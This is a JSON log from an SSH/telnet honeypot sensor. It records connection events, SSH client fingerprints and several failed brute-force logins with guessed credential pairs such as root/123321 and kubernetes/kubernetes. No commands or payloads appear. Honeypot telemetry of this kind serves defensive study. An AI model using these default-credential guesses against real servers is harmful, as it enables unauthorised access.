{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44468,"dst_ip":"10.17.0.5","dst_port":22,"session":"acbebaf4c9a2","protocol":"ssh","message":"New connection: 47.86.95.62:44468 (10.17.0.5:22) [session: acbebaf4c9a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:34.243868Z"}
{"eventid":"cowrie.session.closed","duration":120.00078248977661,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:34.340730Z","src_ip":"64.251.157.32","session":"36f61e986bb0","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:34.348736Z","src_ip":"47.86.95.62","session":"acbebaf4c9a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:34.733136Z","src_ip":"47.86.95.62","session":"acbebaf4c9a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.251.157.32","src_port":33896,"dst_ip":"10.17.0.5","dst_port":23,"session":"89d8dcbd9180","protocol":"telnet","message":"New connection: 64.251.157.32:33896 (10.17.0.5:23) [session: 89d8dcbd9180]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:34.857275Z"}
{"eventid":"cowrie.login.failed","username":"kubernetes","password":"kubernetes","message":"login attempt [kubernetes/kubernetes] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:35.373381Z","src_ip":"47.86.95.62","session":"acbebaf4c9a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:36.586112Z","src_ip":"47.86.95.62","session":"acbebaf4c9a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":44478,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bfa41ef0cfc","protocol":"ssh","message":"New connection: 47.86.95.62:44478 (10.17.0.5:22) [session: 1bfa41ef0cfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:39.116653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:40.852329Z","src_ip":"47.86.95.62","session":"1bfa41ef0cfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:40.856007Z","src_ip":"47.86.95.62","session":"1bfa41ef0cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56646,"dst_ip":"10.17.0.5","dst_port":22,"session":"c101db1b0bb8","protocol":"ssh","message":"New connection: 8.218.166.49:56646 (10.17.0.5:22) [session: c101db1b0bb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:42.174941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:42.179855Z","src_ip":"8.218.166.49","session":"c101db1b0bb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":53616,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5513e9820b9","protocol":"ssh","message":"New connection: 8.218.166.49:53616 (10.17.0.5:22) [session: f5513e9820b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:50.620019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:07:50.624866Z","src_ip":"8.218.166.49","session":"f5513e9820b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"leonardo","password":"leonardo","message":"login attempt [leonardo/leonardo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:01.977763Z","src_ip":"47.86.95.62","session":"1bfa41ef0cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.7","message":"Connection lost after 25.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:04.774009Z","src_ip":"47.86.95.62","session":"1bfa41ef0cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":41818,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6027c54ced4","protocol":"ssh","message":"New connection: 8.218.166.49:41818 (10.17.0.5:22) [session: a6027c54ced4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:07.539306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:07.544406Z","src_ip":"8.218.166.49","session":"a6027c54ced4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:08.643735Z","src_ip":"8.218.166.49","session":"a6027c54ced4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123321","message":"login attempt [root/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:16.505319Z","src_ip":"8.218.166.49","session":"a6027c54ced4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":45930,"dst_ip":"10.17.0.5","dst_port":22,"session":"da0b1fe32f08","protocol":"ssh","message":"New connection: 47.86.95.62:45930 (10.17.0.5:22) [session: da0b1fe32f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:17.290978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:17.295661Z","src_ip":"47.86.95.62","session":"da0b1fe32f08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:17.506234Z","src_ip":"47.86.95.62","session":"da0b1fe32f08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123321","message":"login attempt [root/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:18.211899Z","src_ip":"47.86.95.62","session":"da0b1fe32f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:19.424258Z","src_ip":"47.86.95.62","session":"da0b1fe32f08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:22.316538Z","src_ip":"8.218.166.49","session":"a6027c54ced4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46670,"dst_ip":"10.17.0.5","dst_port":22,"session":"339843c3642a","protocol":"ssh","message":"New connection: 47.86.95.62:46670 (10.17.0.5:22) [session: 339843c3642a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:22.779024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:22.782759Z","src_ip":"47.86.95.62","session":"339843c3642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:22.988978Z","src_ip":"47.86.95.62","session":"339843c3642a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wang","password":"wang","message":"login attempt [wang/wang] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:23.925193Z","src_ip":"47.86.95.62","session":"339843c3642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:25.124832Z","src_ip":"8.218.166.49","session":"c101db1b0bb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:25.186144Z","src_ip":"47.86.95.62","session":"339843c3642a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:29.735675Z","src_ip":"8.218.166.49","session":"f5513e9820b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46234,"dst_ip":"10.17.0.5","dst_port":22,"session":"426589297c31","protocol":"ssh","message":"New connection: 47.86.95.62:46234 (10.17.0.5:22) [session: 426589297c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:42.936919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:43.774119Z","src_ip":"47.86.95.62","session":"426589297c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:43.778668Z","src_ip":"47.86.95.62","session":"426589297c31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"admin123","message":"login attempt [admin123/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:44.811655Z","src_ip":"47.86.95.62","session":"426589297c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:46.245929Z","src_ip":"47.86.95.62","session":"426589297c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:08:47.658739Z","src_ip":"8.218.166.49","session":"304255fb35e6","protocol":"ssh"}
